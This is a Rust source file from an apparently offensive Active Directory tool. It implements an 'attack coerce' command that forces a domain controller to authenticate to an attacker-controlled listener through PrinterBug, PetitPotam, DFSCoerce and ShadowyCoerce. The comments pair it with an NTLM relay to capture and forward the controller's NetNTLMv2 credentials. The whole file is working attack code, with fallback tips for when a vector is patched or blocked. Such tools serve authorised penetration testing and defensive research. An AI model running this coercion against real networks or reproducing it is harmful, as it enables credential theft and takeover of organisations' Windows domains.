1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
//! **1.4.8-D WS-COERCE-SENDER.** DC authentication coercion via PrinterBug
//! (MS-RPRN), PetitPotam (MS-EFSR), DFSCoerce (MS-DFSNM), and ShadowyCoerce
//! (MS-FSRVP). Sender side only — pair with `attack relay` on 445
//! (**1.4.8-D WS-NTLMRELAYX-SMB-LDAP**) for the listener that captures the
//! DC's NetNTLMv2 and forwards it. The two verbs together = the full
//! "WS-COERCE-LISTENER" chain from the 1.4.8 plan.
use anyhow::Result;
use clap::Parser;
/// Coercion vector (pipe) selection for `attack coerce`.
///
/// Renamed from a bare `--pipe <string>` in 1.3.10 — clap now rejects
/// unknown values at parse time with a helpful list, instead of silently
/// forwarding through to `smb.open_pipe` where the failure surfaces as a
/// generic RPC fault a hundred lines later.
#[derive(clap::ValueEnum, Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum CoercePipe {
/// PrinterBug (MS-RPRN over \spoolss) — most reliable coercion on modern DCs.
Spoolss,
/// PetitPotam (MS-EFSR over \lsarpc) — restricted on Server 2016+ hardened DCs.
Lsarpc,
/// PetitPotam (MS-EFSR over \efsrpc) — restricted on Server 2016+ hardened DCs.
Efsrpc,
/// DFSCoerce (MS-DFSNM NetrDfsAddStdRoot over \netdfs).
Netdfs,
/// ShadowyCoerce (MS-FSRVP IsPathSupported over \FssagentRpc) — needs FS-VSS-Agent role.
Fssagentrpc,
}
#[derive(Parser)]
pub(crate) struct CoerceArgs {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
/// Attacker host the DC should authenticate to (UNC target)
#[arg(long)]
pub listener: String,
/// Coercion vector (pipe name): spoolss (PrinterBug, MS-RPRN — most reliable on modern
/// DCs), lsarpc / efsrpc (PetitPotam, MS-EFSR — restricted on 2016+), netdfs (DFSCoerce,
/// MS-DFSNM), fssagentrpc (ShadowyCoerce, MS-FSRVP — needs FS-VSS-Agent role).
#[arg(long, value_enum, ignore_case = true, default_value = "spoolss")]
pub pipe: CoercePipe,
/// PrinterBug server name to open (defaults to --host; modern spoolers want the hostname/FQDN, not an IP)
#[arg(long)]
pub target: Option<String>,
}
/// PetitPotam-style coercion: make the DC authenticate to `--listener` via MS-EFSR.
pub(crate) async fn coerce(mut a: CoerceArgs) -> Result<()> {
a.auth.password = crate::resolve_secret(&a.auth.password, "ADHAMMER_PASSWORD")?;
use smb2_client::SmbClient;
let mut smb = SmbClient::connect(&a.auth.host).await?;
smb.login(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
match a.pipe {
CoercePipe::Spoolss => {
// PrinterBug (MS-RPRN): open a printer on the target, then RFFPCNEx → callback to us.
use dcerpc::rprn::{printerbug_tcp, PrinterBug};
// Try the \spoolss SMB pipe first; modern spoolers only expose ncacn_ip_tcp (via EPM).
let target = a.target.clone().unwrap_or_else(|| a.auth.host.clone());
let via_pipe = match smb.open_pipe("spoolss").await {
Ok(pipe) => {
let mut client = PrinterBug::bind(&mut smb, pipe).await?;
Some(client.coerce(&target, &a.listener).await)
}
Err(_) => None,
};
let result = match via_pipe {
Some(r) => r,
None => {
printerbug_tcp(
&a.auth.host,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&target,
&a.listener,
)
.await
}
};
match result {
Ok(status) => {
println!("[+] PrinterBug (RFFPCNEx) accepted — status {status:#010x}");
println!(" {} spooler attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.auth.host, a.listener);
}
Err(e) => {
println!(
"[-] PrinterBug failed/patched (spooler off or remote RPC blocked): {e}"
)
}
}
}
CoercePipe::Netdfs => {
// MS-DFSNM (DFSCoerce): NetrDfsAddStdRoot over \netdfs — makes the DC auth to ServerName.
use dcerpc::dfsnm::CoerceClient as DfsClient;
let pipe = smb.open_pipe("netdfs").await?;
let mut client = DfsClient::bind_sealed(
&mut smb,
pipe,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!("[+] NetrDfsAddStdRoot accepted via \\netdfs — status {status:#010x}");
println!(" DC {} attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.auth.host, a.listener);
}
Err(e) => println!(
"[-] DFSCoerce failed on this DC ({e}) — try `--pipe spoolss` (PrinterBug); netdfs is picky about transport/auth-level on modern Windows"
),
}
}
CoercePipe::Fssagentrpc => {
// MS-FSRVP (ShadowyCoerce): IsPathSupported over \FssagentRpc — makes the VSS provider
// auth to ShareName. Needs the File Server VSS Agent Service enabled.
use dcerpc::fsrvp::CoerceClient as VssClient;
let pipe = smb.open_pipe("FssagentRpc").await?;
let mut client = VssClient::bind_sealed(
&mut smb,
pipe,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!("[+] IsPathSupported accepted via \\FssagentRpc — status {status:#010x}");
println!(" {} VSS provider attempted auth to \\\\{}\\... (run a relay/listener to capture)", a.auth.host, a.listener);
}
Err(e) => println!(
"[-] ShadowyCoerce failed ({e}) — needs FS-VSS-Agent role installed AND Backup Operators rights; try `--pipe spoolss` for a reliable alternative"
),
}
}
CoercePipe::Lsarpc | CoercePipe::Efsrpc => {
// MS-EFSR (PetitPotam) over \lsarpc or \efsrpc.
use dcerpc::efsr::CoerceClient;
let pipe_name = match a.pipe {
CoercePipe::Lsarpc => "lsarpc",
CoercePipe::Efsrpc => "efsrpc",
_ => unreachable!(),
};
let pipe = smb.open_pipe(pipe_name).await?;
let mut client = CoerceClient::bind_sealed(
&mut smb,
pipe,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await?;
match client.coerce(&a.listener).await {
Ok(status) => {
println!(
"[+] EfsRpcOpenFileRaw accepted via \\{pipe_name} — status {status:#010x}"
);
println!(
" DC {} attempted auth to \\\\{}\\... (run a relay/listener to capture)",
a.auth.host, a.listener
);
}
Err(e) => println!(
"[-] EFSR via \\{pipe_name} failed ({e}) — MS-EFSR is restricted/removed on Server 2016+ hardening; use `--pipe spoolss` (PrinterBug) instead"
),
}
}
}
Ok(())
}